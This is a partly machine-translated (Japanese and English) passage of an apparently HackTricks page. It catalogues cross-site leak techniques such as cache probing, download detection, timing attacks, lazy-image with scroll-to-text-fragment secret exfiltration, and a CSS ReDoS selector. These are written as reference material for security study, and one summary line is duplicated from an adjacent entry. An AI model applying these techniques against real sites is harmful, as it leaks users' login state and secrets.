* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
* **概要:** Google Chromeでは、X-Frame-Options制限によりクロスオリジンサイトに埋め込まれたページがブロックされると、専用のエラーページが表示されます。
* **コード例**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)

Chromeでは、`X-Frame-Options` ヘッダーが "deny" または "same-origin" に設定されたページがオブジェクトとして埋め込まれると、エラーページが表示されます。Chromeは、このオブジェクトの `contentDocument` プロパティに対して空のドキュメントオブジェクト（`null` ではなく）を一意に返します。これは、iframeや他のブラウザとは異なります。攻撃者は、空のドキュメントを検出することでこれを悪用し、特に開発者がX-Frame-Optionsヘッダーを不一致に設定し、エラーページを見落とすことが多いため、ユーザーの状態に関する情報を明らかにする可能性があります。意識とセキュリティヘッダーの一貫した適用が、こうした漏洩を防ぐために重要です。

### ダウンロード検出

* **インクルージョンメソッド**: フレーム、ポップアップ
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
* **概要:** 攻撃者は、iframeを利用してファイルのダウンロードを識別できます。iframeの継続的なアクセス可能性は、ファイルのダウンロードが成功したことを示唆します。
* **コード例**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)

`Content-Disposition` ヘッダー、特に `Content-Disposition: attachment` は、ブラウザにコンテンツをインラインで表示するのではなく、ダウンロードするよう指示します。この動作は、ユーザーがファイルダウンロードをトリガーするページにアクセスできるかどうかを検出するために悪用できます。Chromiumベースのブラウザでは、このダウンロード動作を検出するためのいくつかの技術があります：

1. **ダウンロードバーの監視**:
* Chromiumベースのブラウザでファイルがダウンロードされると、ブラウザウィンドウの下部にダウンロードバーが表示されます。
* ウィンドウの高さの変化を監視することで、攻撃者はダウンロードバーの出現を推測し、ダウンロードが開始されたことを示唆できます。
2. **iframeを使用したダウンロードナビゲーション**:
* `Content-Disposition: attachment` ヘッダーを使用してファイルダウンロードをトリガーするページは、ナビゲーションイベントを引き起こしません。
* コンテンツをiframeに読み込み、ナビゲーションイベントを監視することで、コンテンツの配置がファイルダウンロードを引き起こすかどうか（ナビゲーションなし）を確認できます。
3. **iframeなしのダウンロードナビゲーション**:
* iframe技術と同様に、この方法はiframeの代わりに `window.open` を使用します。
* 新しく開かれたウィンドウでナビゲーションイベントを監視することで、ファイルダウンロードがトリガーされたかどうか（ナビゲーションなし）を明らかにすることができます。

ログインユーザーのみがそのようなダウンロードをトリガーできるシナリオでは、これらの技術を使用して、ブラウザのダウンロードリクエストに対する応答に基づいてユーザーの認証状態を間接的に推測することができます。

### パーティション化されたHTTPキャッシュバイパス <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>

* **インクルージョンメソッド**: ポップアップ
* **検出可能な違い**: タイミング
* **詳細情報**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
* **概要:** 攻撃者は、iframeを利用してファイルのダウンロードを識別できます。iframeの継続的なアクセス可能性は、ファイルのダウンロードが成功したことを示唆します。
* **コード例**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (from [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))

{% hint style="warning" %}
この技術が興味深い理由は、Chromeが現在**キャッシュパーティショニング**を持っており、新しく開かれたページのキャッシュキーは `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)` ですが、ngrokページを開いてfetchを使用すると、キャッシュキーは `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)` になります。**キャッシュキーが異なる**ため、キャッシュは共有できません。詳細はここで確認できます: [キャッシュのパーティショニングによるセキュリティとプライバシーの向上](https://developer.chrome.com/blog/http-cache-partitioning/)\
([**ここ**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)からのコメント)
{% endhint %}

サイト `example.com` が `*.example.com/resource` からリソースを含む場合、そのリソースは、リソースがトップレベルナビゲーションを介して直接リクエストされた場合と同じ**キャッシュキー**を持ちます。これは、キャッシュキーがトップレベルの _eTLD+1_ とフレーム _eTLD+1_ で構成されているためです。

キャッシュにアクセスする方がリソースを読み込むよりも速いため、ページの位置を変更し、20ms（例えば）後にキャンセルすることを試みることができます。停止後にオリジンが変更された場合、それはリソースがキャッシュされたことを意味します。\
または、**潜在的にキャッシュされたページにいくつかのfetchを送信し、かかる時間を測定することができます**。

### 手動リダイレクト <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>

* **インクルージョンメソッド**: Fetch API
* **検出可能な違い**: リダイレクト
* **詳細情報**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234)
* **概要:** fetchリクエストに対する応答がリダイレクトであるかどうかを確認できます。
* **コード例**:

![](<../.gitbook/assets/image (652).png>)

### AbortControllerを使用したFetch <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>

* **インクルージョンメソッド**: Fetch API
* **検出可能な違い**: タイミング
* **詳細情報**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
* **概要:** リソースを読み込もうとし、読み込まれる前に中断されることがあります。エラーが発生するかどうかに応じて、リソースがキャッシュされているかどうかがわかります。
* **コード例**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)

_**fetch**_ と _**setTimeout**_ を使用して **AbortController** で **リソースがキャッシュされているかどうかを検出**し、特定のリソースをブラウザキャッシュから排除します。さらに、このプロセスは新しいコンテンツをキャッシュすることなく行われます。

### スクリプト汚染

* **インクルージョンメソッド**: HTML要素（スクリプト）
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
* **概要:** **組み込み関数を上書き**し、その引数を読み取ることが可能で、**クロスオリジンのスクリプト**からも（直接読み取ることはできません）、これにより**貴重な情報が漏洩する可能性があります**。
* **コード例**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)

### サービスワーカー <a href="#service-workers" id="service-workers"></a>

* **インクルージョンメソッド**: ポップアップ
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
* **概要:** サービスワーカーを使用してウェブの実行時間を測定します。
* **コード例**:

与えられたシナリオでは、攻撃者は自分のドメインの1つ、具体的には "attacker.com" に **サービスワーカー**を登録することから始めます。次に、攻撃者はメインドキュメントからターゲットウェブサイトに新しいウィンドウを開き、**サービスワーカー**にタイマーを開始するよう指示します。新しいウィンドウが読み込みを開始すると、攻撃者は前のステップで取得した参照を **サービスワーカー**によって管理されているページにナビゲートします。

前のステップで開始されたリクエストが到着すると、**サービスワーカー**は **204 (No Content)** ステータスコードで応答し、ナビゲーションプロセスを効果的に終了します。この時点で、**サービスワーカー**は前のステップで開始されたタイマーからの測定値をキャプチャします。この測定値は、ナビゲーションプロセスの遅延を引き起こすJavaScriptの期間によって影響を受けます。

{% hint style="warning" %}
実行タイミングでは、**ネットワーク要因を排除**して、**より正確な測定値を得る**ことが可能です。たとえば、ページを読み込む前に使用されるリソースを読み込むことによって。
{% endhint %}

### Fetchタイミング

* **インクルージョンメソッド**: Fetch API
* **検出可能な違い**: タイミング（一般的にはページコンテンツ、ステータスコードによる）
* **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
* **概要:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) を使用してリクエストを実行するのにかかる時間を測定します。他の時計も使用できます。
* **コード例**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)

### クロスウィンドウタイミング

* **インクルージョンメソッド**: ポップアップ
* **検出可能な違い**: タイミング（一般的にはページコンテンツ、ステータスコードによる）
* **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
* **概要:** `window.open` を使用してリクエストを実行するのにかかる時間を測定するために [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) を使用します。他の時計も使用できます。
* **コード例**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## HTMLまたは再インジェクションを使用して

ここでは、クロスオリジンHTMLから情報を抽出するための技術を見つけることができます。**HTMLコンテンツを注入する**ことができる理由がある場合、これらの技術は興味深いです。\
ただし、何らかの理由で**文字ごとに**行う必要がある場合（キャッシュヒットを介して通信している可能性があります）、このトリックを使用できます。

HTMLの**画像**には、値が "**lazy**" である "**loading**" 属性があります。この場合、画像は表示されたときに読み込まれ、ページが読み込まれている間は読み込まれません：
```html
<img src=/something loading=lazy >
```
したがって、あなたができることは、**多くのジャンク文字**（例えば**何千もの"W"**）を**秘密の前にウェブページを埋めるために追加するか、または** `<br><canvas height="1850px"></canvas><br>`のようなものを追加することです。\
例えば、私たちの**インジェクションがフラグの前に現れる場合**、**画像**は**読み込まれます**が、**フラグの後に現れる場合**、フラグ + ジャンクが**読み込まれるのを防ぎます**（どれだけのジャンクを置くかは調整が必要です）。これは[**この書き込み**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)で起こったことです。

もう一つの選択肢は、**scroll-to-text-fragment**を使用することです（許可されている場合）：

#### Scroll-to-text-fragment

ただし、あなたは**ボットにページにアクセスさせる**ために、何かのようなものを使います。
```
#:~:text=SECR
```
So the web page will be something like: **`https://victim.com/post.html#:~:text=SECR`**

Where post.html contains the attacker junk chars and lazy load image and then the secret of the bot is added.

What this text will do is to make the bot access any text in the page that contains the text `SECR`. As that text is the secret and it's just **below the image**, the **image will only load if the guessed secret is correct**. So there you have your oracle to **exfiltrate the secret char by char**.

Some code example to exploit this: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)

### 画像の遅延読み込み時間ベース

If it's **not possible to load an external image** that could indicate the attacker that the image was loaded, another option would be to try to **guess the char several times and measure that**. If the image is loaded all the requests would take longer that if the image isn't loaded. This is what was used in the [**solution of this writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **sumarized here:**

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}

### ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %}
[regular-expression-denial-of-service-redos.md](regular-expression-denial-of-service-redos.md)
{% endcontent-ref %}

### CSS ReDoS

If `jQuery(location.hash)` is used, it's possible to find out via timing i**f some HTML content exists**, this is because if the selector `main[id='site-main']` doesn't match it doesn't need to check the rest of the **selectors**:
```javascript
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
```
### CSS Injection

{% content-ref url="xs-search/css-injection/" %}
[css-injection](xs-search/css-injection/)
{% endcontent-ref %}

## Defenses

[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) および wiki の各セクション [https://xsleaks.dev/](https://xsleaks.dev/) で推奨される緩和策があります。これらの技術から保護する方法についての詳細は、そちらをご覧ください。

## References

* [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
* [https://xsleaks.dev/](https://xsleaks.dev)
* [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks)
* [https://xsinator.com/](https://xsinator.com/)
* [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}